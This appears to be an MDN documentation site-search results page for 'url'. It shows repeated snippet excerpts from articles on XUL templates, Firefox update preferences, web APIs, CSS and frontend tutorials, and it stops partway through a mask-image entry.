urls although this isn't necessary. each image also has one property, the image's title. a template which displays this information is very simple to create. unlike previous examples where we iterated over a property to navigate the graph, here we want to iterate over the children of an rdf container. the container, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'. this will be the sta...
...And 3 more matches
Templates - Archive of obsolete content
ozilla provides a bookmarks datasource so it can be used to get the data. this example will only get the top-level bookmarks (or bookmark folders) as we're going to create buttons. for child bookmarks, we would need to use an element that displays a hierarchy such as a tree or menu. this example and any others that reference internal rdf datasources will only work if you load them from a chrome
url. for security reasons, mozilla doesn't allow access to them from other sources. to view this example, you will need to create a chrome package and load the file from there (you can do this easily, see manifest files). you can then enter the chrome
url into the browser
url field. example 1 : source <vbox datasources="rdf:bookmarks" ref="nc:bookmarksroot" flex="1"> <template> <button uri=...
..., which are used to specify where the data comes from. the first attribute on the box is the datasources attribute. this is used to declare what rdf datasource will be providing the data to create the elements. in this case, rdf:bookmarks is used. you can probably guess that this means to use the bookmarks datasource. this datasource is provided by mozilla. to use your own datasource, specify the
url of an rdf file for the datasources attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the attribute value. this can be used to display data from multiple sources. the ref attribute indicates where in th...
...ple above that the button has a uri attribute and an unusual value for the label attribute. an attribute value inside the template that begins with 'rdf:' indicates that the value should be taken from the datasource. in the example earlier, this is the case for the label attribute. the remainder of the value refers to the name property in the datasource. it is constructed by taking the namespace
url used by the datasource and appending the property name. if you don't understand this, try re-reading the last part of the previous section. it explains how resources in rdf can be referred to. here, we only use the name of the bookmark but numerous other fields are available. the label of the buttons is set to this special uri because we want the labels on the buttons to be set to the names of t...
...And 3 more matches
Application Update - Archive of obsolete content
download no prompt download no prompt // 1 download no prompt download no prompt if no incompatibilities // 2 download no prompt prompt // // see chart in nsupdateservice.js.in for more details // pref("app.update.mode", 1); // if set to true, the update service will present no ui for any event. ...
... download no prompt prompt // // see chart in nsupdateservice.js.in for more details // pref("app.update.mode", 1); // if set to true, the update service will present no ui for any event. pref("app.update.silent", false); // update service
url: // you do not need to use all the %var% parameters. ...
...resent no ui for any event. pref("app.update.silent", false); // update service
url: // you do not need to use all the %var% parameters. use what you need, %product%,%version%,%build_id%,%channel% for example pref("app.update.
url", "https://yourserver.net/update/3/%product%/%version%/%build_id%/%build_target%/%locale%/%channel%/%os_version%/%distribution%/%distribution_version%/update.xml"); //
url user can browse to manually if for some reason all update installation // attempts fail. pref("app.update.
url.manual", "http://yourserver.net/yourpage"); // a default value for the "more information about this update" link // supplied in the "an update is available" page of the update wizard. ...
...And 3 more matches
Extentsions FAQ - Archive of obsolete content
text box when a button is clicked? read http://developer.mozilla.org/en/docs/extension_faq and check if there are any errors in js console. friday, september 29 - october 6, 2006 (↑ top) is there anyway, via plugin or extension, for firefox to mimic the functionality of ie in this respect? the ietab (opens ie in a firefox tab) should be able do this if you set it to always open "file://*"
urls in an ie tab. the appearance with a firefox tab isn't quite the same as having a completely separate explorer window. however, it's functional and does allow for the explorer to be handling the display of the folder contents, and all of the right-click context menu support is present so it should meet my needs. what is the valid location and things needed to to release a mozilla extension on...
...refox tab isn't quite the same as having a completely separate explorer window. however, it's functional and does allow for the explorer to be handling the display of the folder contents, and all of the right-click context menu support is present so it should meet my needs. what is the valid location and things needed to to release a mozilla extension on mozallia site? you must remove update
url from the install.rdf and use a known to amo minversion/maxversion. no confirmation that the answer given worked yet. is it possible to open the
url in a new tab? var tab = gbrowser.addtab(
url ); // and if you want it to load in the foreground: gbrowser.selectedtab = tab; is it possible to read the html-code of the current
url/site? yes, this is possible. use the dom api (http://www.w3sc...
...all to getservice. are there any built in libraries that can be used to encrypt data? yes. you can use nsisecretdecoderring.encryptstring() and nsisecretdecoderring.decryptstring(). however, i'm not sure how/if that works if the user hasn't defined a master password in options->security->use a master password. you can aes-128 or aes-256 symmetric encryption via aes.js (http://tiny
url.com/pp79t). no confirmation from the question asker on whether this answer was helpful in solving their problem. friday, october 06 - 13, 2006 (↑ top) any suggestions to remove tool tip appears on the menu it when it should not? what you described was a bug (https://bugzilla.mozilla.org/show_bug.cgi?id=147670). it looks like it has been fixed for firefox version 2. what do i need to d...
...And 3 more matches
Browser-side plug-in API - Archive of obsolete content
r and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. ...
... by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. ...
...these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. ...
...And 3 more matches
Backgrounds and borders - Learn web development
background property is a shorthand for a number of background longhand properties that we will meet in this lesson. if you discover a complex background property in a stylesheet, it might seem a little hard to understand as so many values can be passed in at once. .box { background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
url(big-star.png) center no-repeat, rebeccapurple; } we'll return to how the shorthand works later in the tutorial, but first let's have a look at the different things you can do with backgrounds in css, by looking at the individual background properties. background colors the background-color property defines the background color on any element in css. the property accepts any valid <color>. a ...
... the box is (0,0), and the box is positioned along the horizontal (x) and vertical (y) axes. note: the default background-position value is (0,0). the most common background-position values take two individual values — a horizontal value followed by a vertical value. ...
...0). the most common background-position values take two individual values — a horizontal value followed by a vertical value. ...
...And 3 more matches
Client-side storage - Learn web development
me } // add the record to the idb using add() let request = objectstore.add(record); ... }; last but not least, we have displayvideo(), which creates the dom elements needed to insert the video in the ui and then appends them to the page. ...
...d the record to the idb using add() let request = objectstore.add(record); ... }; last but not least, we have displayvideo(), which creates the dom elements needed to insert the video in the ui and then appends them to the page. ...
....add(record); ... }; last but not least, we have displayvideo(), which creates the dom elements needed to insert the video in the ui and then appends them to the page. the most interesting parts of this are those shown below — to actually display our video blobs in a <video> element, we need to create object
urls (internal
urls that point to the video blobs stored in memory) using the
url.createobject
url() method. once that is done, we can set the object
urls to be the values of our <source> element's src attributes, and it works fine. function displayvideo(mp4blob, webmblob, title) { // create object
urls out of the blobs let mp4
url =
url.createobject
url(mp4blob); let webm
url =
url.createobject
url(webmblob); ... const video = document.createelement('video'); vide...
...And 3 more matches
Routing in Ember - Learn web development
previous overview: client-side javascript frameworks next in this article we learn about routing, or
url-based filtering as it is sometimes referred to. we'll use it to provide a unique
url for each of the three todo views — "all", "active", and "completed". prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. ...
...tes: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn about implementing routing in ember.
url-based filtering ember comes with a routing system that has a tight integration with the browser
url. typically, when writing web applications, you want the page to be represented by the
url so that if (for any reason), the page needs to refresh, the user isn't surprised by the state of the web app — they can link directly to significant views of the app. at the moment, we already have the "al...
...ber generate route completed ember generate route active the second and third commands should have not only generated new files, but also updated an existing file, app/router.js. it contains the following contents: import emberrouter from '@ember/routing/router'; import config from './config/environment'; export default class router extends emberrouter { location = config.locationtype; root
url = config.root
url; } router.map(function() { this.route('completed'); this.route('active'); }); the highlighted lines were added when the 2nd and 3rd commands above were run. router.js behaves as a "sitemap" for developers to be able to quickly see how the entire app is structured. it also tells ember how to interact with your route, such as when loading arbitrary data, handling errors whi...
...And 3 more matches
Deploying our app - Learn web development
t a few things to consider for this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted". running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests prevent deployment. actually deploying the updated code to a live
url: or potentially a staging
url so it can be reviewed first. note: cache busting is a new term that we haven't met before in the module. this is the strategy of breaking a browser's own caching mechanism, which forces the browser to download a new copy of your code. parcel (and indeed many other tools) will generate filenames that are unique to each new build. this unique filename "busts" your b...
...e fresh code each time an update is made to the deployed code. the above tasks also break down into further tasks; note that most web development teams will have their own terms and processes for at least some part of the post-development phase. for this project, we're going to use netlify's wonderful static hosting offering to host our project. netlify gives us hosting or more specifically, a
url to view your project online and to share it with your friends, family, and colleagues. deploying to hosting tends to be at the tail-end of the project life cycle, but with services such as netlify bringing down the cost of deployments (both in financial terms and also the time required to actually deploy) it's possible to deploy during development to either share work in progress or to have a pr...
...nally the code needs to be pushed to your github hosted repository. let's do that now. over at github, visit https://github.com/new and create your own repository to host this code. give your repository a short, memorable name, without spaces in it (use hyphens to separate words), and a description, then click create repository at the bottom of the page. you should now have a "remote"
url that points to your new github repo. this remote location needs to be added to our local git repository before we can push it up there, otherwise it won't be able to find it. you'll need to run a command with the following structure (use the provided https option for now — especially if you are new to github — not the ssh option): git remote add github https://github.com/yourname...
...And 3 more matches
Firefox and the "about" protocol
there is a lot of useful information about firefox hidden away behind the about:
url protocol. the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed. available about:
urls depend on your specific firefox version. ...
... there is a lot of useful information about firefox hidden away behind the about:
url protocol. the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed. available about:
urls depend on your specific firefox version. ...
... crash) about:support troubleshooting information (also available through firefox menu > ? ...
...And 3 more matches
Interfacing with the Add-on Repository
y code module before you can use the add-on repository api, you need to import the code module: components.utils.import("resource://gre/modules/addonrepository.jsm"); having done this, you can then access the api through the resulting addonrepository object. enabling the recommendation feature in current builds of firefox 4, the recommendation api doesn't work because the preference for the
url to query to get recommended add-ons is not included by default; see bug 628785. to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var rec...
... to query to get recommended add-ons is not included by default; see bug 628785. ...
...mended add-ons is not included by default; see bug 628785. ...
...And 3 more matches
Webapps.jsm
_savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifest
url, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersystemmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createactivitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _registeractivitiesforapps: function(aappstoreg...
...egisterupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifest
url, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifest
url, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata...
...unction doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancelled: function(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, anewapp, alocalemanifest, amanifest, aid, alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifest
url: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _comput...
...And 3 more matches
Index
tput-file specify the output file name for new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u
url specify the
url. crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for examp...
...ment tool's capabilities are grouped as follows, using these combinations of options and arguments. options and arguments in square brackets are optional, those without square brackets are required. see "implemented extensions" for more information regarding extensions and their parameters. ...
...the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/. for information specifically about nss, the nss project wiki is located at [2]http...
...And 3 more matches
Feed content access API
lain text or html. nsiscriptableunescapehtml a utility class that unescapes html strings. example: reading a feed from the web it's actually quite easy to read and parse a feed. use an xmlhttprequest to load the feed, then pass its string to an nsifeedprocessor to parse the feed. ...
...sending it to the parser is done using code similar to this: fetch: function(feed
url) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feed
url, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { ...
...however, you could also parse it from a file using parse...
...And 3 more matches
amIInstallTrigger
table called when an install completes or fails. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcallback acallback); boolean installchrome(in pruint32 atype, in astring a
url, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring a
url, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility. constant value description skin 1 locale 2 content 4 ...
...on is enabled. boolean enabled(); parameters none. return value install() starts a new installation of a set of add-ons. boolean install( in nsivariant aargs, in amiinstallcallback acallback optional ); parameters aargs the add-ons to install. this should be a js object, each property is the name of an add-on to be installed. the value of the property should either be a string
url, or an object with the following properties:
url for the add-on's
url icon
url for an icon for the add-on hash for a hash of the add-on. acallback optional a callback to call as each installation succeeds or fails. return value true if the installations were successfully started. installchrome starts installing a new add-on. this method is deprecated, please use install() in the...
...'s
url icon
url for an icon for the add-on hash for a hash of the add-on. acallback optional a callback to call as each installation succeeds or fails. return value true if the installations were successfully started. installchrome starts installing a new add-on. this method is deprecated, please use install() in the future. boolean installchrome( in pruint32 atype, in astring a
url, in astring askin ); parameters atype unused, retained for backwards compatibility. a
url the
url of the add-on. askin unused, retained for backwards compatibility. return value true if the installation was successfully started. startsoftwareupdate starts installing a new add-on. ...
...And 3 more matches
nsIHTTPHeaderListener
the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
...the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
...the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
...And 3 more matches
nsIUpdateItem
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is obsolete; instead of using the extension manager, you should use the addon manager. method overview void init(in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring download
url, in astring xpihash, in astring icon
url, in astring update
url, in astring updatekey, in long type, in astring targetappid); attributes attribute type description icon
url astring the
url of the icon that can be shown for this item. read only. id astring the guid of the item. read only. installlocationkey astring the name of the in...
...org in their install manifest for compatibility with all apps using a specific release of the toolkit. read only. type long the type of this item. read only. updatekey astring the public key to verify updates for this item. this must be the public part of the key that was used to sign update manifests for this add-on. read only. ...
...read only. constants item type constants constants representing types of update checks. constants that callers can use to indicate the reason for an add-on update check. internal code uses other constants in nsextensionmanager.js.in. ...
...And 3 more matches
DevTools API - Firefox Developer Tools
tool. toolbox {toolbox} - the toolbox for the shortcut was triggered for. return value: undefined. properties the tooldefinition object can contain following properties. most of them are optional and can be used to customize the presense of the tool in the browser and the toolbox. id string, required. an unique identifier for the tool. it must be a valid id for an html element.
url string, required. an
url of the panel document. label string, optional. the tool's name. if undefined the icon should be specified. tooltip string, optional. the tooltip for the tool's tab. panellabel string, optional. an accessibility label for the panel. ordinal integer, optional. the position of the tool's tab within the toolbox. default: 99 visibilityswitch st...
...ed. tooltip string, optional. the tooltip for the tool's tab. panellabel string, optional. an accessibility label for the panel. ordinal integer, optional. the position of the tool's tab within the toolbox. default: 99 visibilityswitch string, optional. a preference name that controls the visiblity of the tool. default: devtools.{id}.enabled icon string, optional. an
url for the icon to show in the toolbox tab. if undefined the label should be defined. highlightedicon string, optional. an
url for an icon that is to be used when the tool is highlighted (see e.g. paused, inactive debugger). default: {icon} icononly boolean, optional. if true, the label won't be shown in the tool's tab. default: false inverticonforlighttheme boolean, optional. if t...
...ue the tool will be shown in the developer menu. default: false menulabel string, optional. a label for the developer menu item. default: {label} accesskey string, optional. accesskey for the developer menu <xul:menuitem>. example here's a minimal definition for a tool. let def = { id: "my-tool", label: "my tool", icon: "chrome://browser/skin/devtools/tool-webconsole.svg",
url: "about:blank", istargetsupported: target => true, build: (window, toolbox) => new mytoolpanel(window, toolbox) }; // register it. gdevtools.registertool(def); targettype fixme: hosttype fixme toolpanel the toolpanel is an interface the toolbox uses to manage the panel of a tool. the object that tooldefinition.build() returns should implement the methods described below. methods ...
...And 3 more matches
Clients.openWindow() - Web APIs
the openwindow() method of the clients interface creates a new top level browsing context and loads a given
url. if the calling script doesn't have permission to show popups, openwindow() will throw an invalidaccesserror. in firefox, the method is allowed to show popups only when called as the result of a notification click event. in chrome for android, the method may instead open the
url in an existing browsing context provided by a standalone web app previously added to the user's home screen. as of recently, this also works on chrome for windows. syntax self.clients.openwindow(
url).then(function(windowclient) { // do something with your windowclient }); parameters
url a usvstring representing the
url of the client you want to open in the window. generally this value must be a u...
... also works on chrome for windows. syntax self.clients.openwindow(
url).then(function(windowclient) { // do something with your windowclient }); parameters
url a usvstring representing the
url of the client you want to open in the window. generally this value must be a
url from the same origin as the calling script. return value a promise that resolves to a windowclient object if the
url is from the same origin as the service worker or a null value otherwise. ...
...st be a
url from the same origin as the calling script. return value a promise that resolves to a windowclient object if the
url is from the same origin as the service worker or a null value otherwise. ...
...And 3 more matches
FetchEvent.respondWith() - Web APIs
you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors". this prevents the leaking of private data. you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". ...
...eaking of private data. you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". specifying the final
url of a resource from firefox 59 onwards, when a service worker provides a response to fetchevent.respondwith(), the response.
url value will be propagated to the intercepted network request as the final resolved
url. if the response.
url value is the empty string, then the fetchevent.request.
url is used as the final
url. in the past the fetchevent.request.
url was used as the final
url in all cases. the provided response.
url was effectively ignored. this means, for example, if a service worker intercepts a stylesheet or w...
...ted network request as the final resolved
url. if the response.
url value is the empty string, then the fetchevent.request.
url is used as the final
url. in the past the fetchevent.request.
url was used as the final
url in all cases. the provided response.
url was effectively ignored. this means, for example, if a service worker intercepts a stylesheet or worker script, then the provided response.
url will be used to resolve any relative @import or importscripts() subresource loads (bug 1222008). for most types of network request this change has no impact because you can't observe the final
url. there are a few, though, where it does matter: if a fetch() is intercepted, then you can observe the final
url on the result's response.
url. ...
...And 3 more matches
HTMLAreaElement - Web APIs
is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the proposed name of the file. if the name is not a valid filename of the underlying os, browser will adapt it. htmlhyperlinkelementutils.hash is a usvstring containing the fragment identifier (including the leading hash mark (#)), if any, in the referenced
url. htmlhyperlinkelementutils.host is a usvstring containing the hostname and port (if it's not the default port) in the referenced
url. htmlhyperlinkelementutils.hostname is a usvstring containing the hostname in the referenced
url. htmlhyperlinkelementutils.href is a usvstring containing that reflects the href html attribute, containing a valid
url of a linked resource. htmlareaelement.href...
... that reflects the media html attribute, indicating target media of the linked resource. htmlareaelement.nohref is a boolean flag indicating if the area is inactive (true) or active (false). htmlhyperlinkelementutils.password is a usvstring containing the password specified before the domain name. htmlhyperlinkelementutils.origin read only returns a usvstring containing the origin of the
url, that is its scheme, its domain and its port. htmlhyperlinkelementutils.pathname is a usvstring containing the path name component, if any, of the referenced
url. htmlhyperlinkelementutils.port is a usvstring containing the port component, if any, of the referenced
url. htmlhyperlinkelementutils.protocol is a usvstring containing the protocol component (including trailing colon ':'), of the...
... htmlareaelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the linked resource. ...
...And 3 more matches
HTMLMediaElement.srcObject - Web APIs
ment interface sets or returns the object which serves as the source of the media associated with the htmlmediaelement. the object can be a mediastream, a mediasource, a blob, or a file (which inherits from blob). note: as of march 2020, only safari supports setting objects other than mediastream. until other browsers catch up, for mediasource, blob and file, consider falling back to creating a
url with
url.createobject
url() and assign it to htmlmediaelement.src. see below for an example. syntax var sourceobject = htmlmediaelement.srcobject; htmlmediaelement.srcobject = sourceobject; value a mediastream, mediasource, blob, or file object (though see the compatibility table for what is actually supported). usage notes older versions of the media source specification required using c...
...now you can just set srcobject to the mediastream directly. examples basic example in this example, a mediastream from a camera is assigned to a newly-created <video> element. ...
...n it to htmlmediaelement.src. see below for an example. syntax var sourceobject = htmlmediaelement.srcobject; htmlmediaelement.srcobject = sourceobject; value a mediastream, mediasource, blob, or file object (though see the compatibility table for what is actually supported). usage notes older versions of the media source specification required using createobject
url() to create an object
url then setting src to that
url. now you can just set srcobject to the mediastream directly. examples basic example in this example, a mediastream from a camera is assigned to a newly-created <video> element. const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); video.srcobject = mediastream; in this example, a new mediasour...
...And 3 more matches
Node.baseURI - Web APIs
the baseuri read-only property returns the absolute base
url of a node. the base
url is used to resolve relative
urls when the browser needs to obtain an absolute
url, for example when processing the html <img> element's src attribute or xml xlink:href attribute. in most cases the base
url is simply the location of the document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml. syntax var nodebaseuri = node.baseuri; value a domstring representing the base
url of the specified node. it may be null if unable to obtain an absolute uri. although this property is read-only, its value may change in certain situations (see below). ...
...he document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml. syntax var nodebaseuri = node.baseuri; value a domstring representing the base
url of the specified node. it may be null if unable to obtain an absolute uri. although this property is read-only, its value may change in certain situations (see below). ...
...ffected by many factors, including the <base> element in html and the xml:base attribute in xml. syntax var nodebaseuri = node.baseuri; value a domstring representing the base
url of the specified node. it may be null if unable to obtain an absolute uri. although this property is read-only, its value may change in certain situations (see below). details the base
url of a document the base
url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base
urls section of the html living standard for details. you can use document.baseuri to obtain the base
url of a document. note that obtaining the ba...
...And 3 more matches
PaymentRequest: merchantvalidation event - Web APIs
the merchant validation process works. bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event. ...
... bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event. it uses the fetch() to send a request to its own server with an argument of the payment method's validation
url, obtained from the event's validation
url property. ...
...face merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event. it uses the fetch() to send a request to its own server with an argument of the payment method's validation
url, obtained from the event's validation
url property. the merchant server should access the validation
url in accordance with the payment method documention. ...
...And 3 more matches
RTCIceServer - Web APIs
operties credential optional the credential to use when logging into the server. this is only used if the rtciceserver represents a turn server. credentialtype optional if the rtciceserver represents a turn server, this attribute specifies what kind of credential is to be used when connecting. this must be one of the values defined by the rtcicecredentialtype enum. the default is password. ...
...if the rtciceserver represents a turn server. credentialtype optional if the rtciceserver represents a turn server, this attribute specifies what kind of credential is to be used when connecting. this must be one of the values defined by the rtcicecredentialtype enum. the default is password.
urls this required property is either a single domstring or an array of domstrings, each specifying a
url which can be used to connect to the server. username optional if the rtciceserver is a turn server, then this is the username to use during the authentication process. avoid specifying an unnecessarily large number of
urls in the
urls property; the startup time for your connection will go up substantially. every server in the list will be contacted and tried out before one is selected to be u...
...server is a turn server, then this is the username to use during the authentication process. avoid specifying an unnecessarily large number of
urls in the
urls property; the startup time for your connection will go up substantially. every server in the list will be contacted and tried out before one is selected to be used for negotiation. older versions of the webrtc specification included an
url property instead of
urls; this was changed in order to let you specify multiple addresses for each server in the list, as shown in the example below. obsolete properties the following properties have been removed from the specification and should not be used.
url this obsolete property is a string specifies a single ice server's
url. do not use this property; use
urls instead. because ma...
...And 3 more matches
Using readable streams - Web APIs
chunks out of the stream using the readablestreamdefaultreader.read() method. this reads one chunk out of the stream, which you can then do anything you like with. for example, our simple stream pump example goes on to enqueue each chunk in a new, custom readablestream (we will find more about this in the next section), then create a new response out of it, consume it as a blob, create an object
url out of that blob using
url.createobject
url(), and then display it on screen in an <img> element, effectively creating a copy of the image we originally fetched. return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream i...
...in the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }: return reader.read().then(({ done, value }) => { the results can b...
...in the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }: return reader.read().then(({ done, value }) => { the results can be one of three d...
...And 3 more matches
Synchronous and asynchronous requests - Web APIs
iting a function to read an external file in some cases, you must read many external files. this is a standard function which uses the xmlhttprequest object asynchronously in order to switch the content of the read file to a specified listener. ...
...ion xhrsuccess() { this.callback.apply(this, this.arguments); } function xhrerror() { console.error(this.statustext); } function loadfile(
url, callback /*, opt_arg1, opt_arg2, ... ...
... line 1 declares a function invoked when the xhr operation completes successfully. it, in turn, invokes the callback function specified ...
...And 3 more matches
Border-radius generator - CSS: Cascading Style Sheets
slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: ...
...-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image:
url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-c...
...und-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image:
url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: ...
...And 3 more matches
image() - CSS: Cascading Style Sheets
the image() css function defines an <image> in a similar fashion to the <
url> function, but with added functionality including specifying the image's directionality, specifying fallback images for when the preferred image is not supported, displaying just a part of that image defined by a media fragment, and specifying a solid color as a fallback in case none of the specified images are able to be rendered. disambiguation: image(), the htmlimageelement constructor. ...
...allback images for when the preferred image is not supported, displaying just a part of that image defined by a media fragment, and specifying a solid color as a fallback in case none of the specified images are able to be rendered. disambiguation: image(), the htmlimageelement constructor. ...
...percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> where: image-tagsoptional the directionality of the image, either ltr for left-to-right or rtl for right-to-left. image-src optional zero or more <
url>s or <string>s specifying the image sources, with optional image fragment identifiers. coloroptional a color, specifying a solid background color to use as a fallback if no image-src is found, supported, or declared. bi-directional awareness the first, optional parameter of the image() notation is the directionality of the image. if included, and the image is used on an element with opposite...
...And 3 more matches
mask-image - CSS: Cascading Style Sheets
the mask-image css property sets the image that is used as mask layer for an element. /* keyword value */ mask-image: none; /* <mask-source> value */ mask-image:
